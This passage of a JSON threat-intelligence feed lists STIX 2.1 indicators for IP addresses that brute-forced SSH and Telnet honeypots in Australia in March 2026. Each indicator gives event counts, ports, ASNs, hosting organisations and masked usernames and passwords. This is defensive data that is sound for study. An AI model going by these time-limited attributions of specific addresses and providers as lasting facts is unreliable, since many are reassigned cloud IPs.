      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): 3**********4, c*****t, w*****s, ***, a****g. Passwords observed (masked): 3***********4, 3**********4, 1******8, p******d, ***.",
      "id": "indicator--71e21bff-7b38-4842-9f0b-5977aae05eff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.181.124.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): v**s, 3**********4, ***, b*****d, d****y. Passwords observed (masked): 1****6, 1**4, 3***********4, 3**********4, A*******3.",
      "id": "indicator--584e9910-9131-492b-9471-afcbbc2299a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.181.124.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:15:10.000Z",
      "valid_until": "2026-04-10T00:15:08.000Z"
    },
    {
      "created": "2026-03-09T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 128. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, u**r, c****g, g***t. Passwords observed (masked): 1**4, a***n, 0**************D, *, O************Z.",
      "id": "indicator--14926d3b-c0aa-4112-8e48-5a83912765fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.210.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:15:10.000Z",
      "valid_until": "2026-04-10T01:15:08.000Z"
    },
    {
      "created": "2026-03-09T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): k******e, 3**********4, ***, g****e, m**a. Passwords observed (masked): 1******8, ***, 1***5, 3***********4, 3**********4.",
      "id": "indicator--d9cf129c-1c28-4777-8fea-5f9be20e52ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.13.107.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:15:10.000Z",
      "valid_until": "2026-04-10T01:15:08.000Z"
    },
    {
      "created": "2026-03-09T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--de57ef7b-9e43-4ae0-976c-3a803293c860",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.154.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:15:10.000Z",
      "valid_until": "2026-04-10T01:15:08.000Z"
    },
    {
      "created": "2026-03-09T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 205759. Organisation(s): Ghosty Networks LLC.",
      "id": "indicator--7e0bfaa6-2b47-4c30-8250-a04cd180096e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.228.157.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:15:10.000Z",
      "valid_until": "2026-04-10T01:15:08.000Z"
    },
    {
      "created": "2026-03-09T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 215859. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--257c4b14-d936-4c15-8984-63cc4bdf9c85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.223.67.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:15:10.000Z",
      "valid_until": "2026-04-10T01:15:08.000Z"
    },
    {
      "created": "2026-03-09T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--43360161-89eb-4596-913e-d01933f220c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.163.74.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:15:10.000Z",
      "valid_until": "2026-04-10T01:15:08.000Z"
    },
    {
      "created": "2026-03-09T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 28840. Organisation(s): Pjsc tattelecom.",
      "id": "indicator--2d3edb85-3617-4d45-8e92-c27a2288e031",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.232.79.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:15:10.000Z",
      "valid_until": "2026-04-10T01:15:08.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): d****n, j****n, 3**********4, a***********r, b****a. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, J*******3.",
      "id": "indicator--47ccf009-2709-49d9-9357-b1275573b83f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.189.234.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3fff0e1c-6e6b-419e-b986-6e8492db1960",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.210.196.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Passwords observed (masked): 1****3, 1****1, 1***5, 1****6, 1****e.",
      "id": "indicator--eddf76f8-854f-4477-8d45-1999affd18d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.173.173.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************************************************). Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--1296a086-6d3a-47ba-befe-05134eaf7e4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.65.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1f732cab-1d48-4279-9a9f-4d5de0e0ab86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.197.188.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): U****************************1, G**************************************************1, G**********************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--0c380047-36c9-4c15-bef3-ac0147a1ca79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.117.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): U****************************1, G************************************1, G***********************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--f26a27ce-5209-4421-9bc8-88c065082ac1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.103.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3557. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, f*****r, a***n, d******r. Passwords observed (masked): 1****6, ***, 1**4, 1******8, P******d.",
      "id": "indicator--e10c02eb-4430-476c-b3ca-33e73bc12851",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.174.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--e54f41c6-e61e-49de-8f2a-263091c55645",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.90.172.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f4cdc407-40c3-4477-912b-4b02b04aa742",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.86.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3b985400-1911-4835-90e2-5d45f07bcb83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.172.106.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 152. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, a****n, a***n, a**o. Passwords observed (masked): a***n, 1**1, 7****6, a***n, c****n.",
      "id": "indicator--a92e5e8b-2933-4521-b589-8390ac0b51a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.177.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--08b1415a-9b43-448a-b793-9f2998843b87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): d****n, j****n, 3**********4, a***********r, b****a. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, J*******3.",
      "id": "indicator--978c87d1-271c-465b-a606-94cd53283a32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.147.237.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 37148. Organisation(s): globacom-as. Usernames observed (masked): 3**********4, d****n, j****n, z*****h, a***********r. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1****6, J*******3.",
      "id": "indicator--41bd5bf9-f780-419b-91e2-5d6d91c78426",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.211.55.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G*********************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--fb68cbdd-02af-4d4e-87fc-cd91deab4a89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.178.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--c7e96d16-cee6-4ab1-8096-06e9e4477f16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T02:15:11.000Z",
      "valid_until": "2026-04-10T02:15:09.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, 3**********4, a***n, j****k, l***x. Passwords observed (masked): ***, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--bbc5cfc5-8bae-4367-8449-00c510495d30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.108.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): 3**********4, h**t, i****a, m*****r, m***k. Passwords observed (masked): 1****6, ***, 1**4, 3**********4, Y******3.",
      "id": "indicator--a8743035-5e86-4715-af43-088dc77053db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.143.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 261. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 138718. Organisation(s): Ekowebtech It Services Pvt Ltd. Usernames observed (masked): 3**********4, k***n, m**t, m*****e, h**n. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--7827d713-3ad1-42fd-ac66-9df2d53e3daa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.113.105.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 139021. Organisation(s): West263 International Limited. Usernames observed (masked): 3**********4, m****r, s******n, d********r, h***p. Passwords observed (masked): 3***********4, 3**********4, 1**4, H******3, M********!.",
      "id": "indicator--66eb55b5-0ab4-41c3-abdb-4d4c91606fb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.43.191.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, m****r, s******n, d********r, h***p. Passwords observed (masked): 3***********4, 3**********4, 1**4, H******3, M********!.",
      "id": "indicator--b1cb6914-8f58-4ac5-8585-85f4f54c7206",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.59.94.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, e*****r, p***l, r**t, a*******r. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1***5.",
      "id": "indicator--141e7d52-6f99-4ea3-8e76-9fd7f9f538d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.63.25.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC.",
      "id": "indicator--5087b1f0-6a03-4fb5-9a10-5f1658ce22e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.220.5.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T03:15:13.000Z",
      "valid_until": "2026-04-10T03:15:11.000Z"
    },
    {
      "created": "2026-03-09T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 136525. Organisation(s): Wancom Pvt Ltd..",
      "id": "indicator--0d499750-d651-478f-9ca9-b8f4d5a901c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.152.233.101']",
      "pattern_type": "stix",
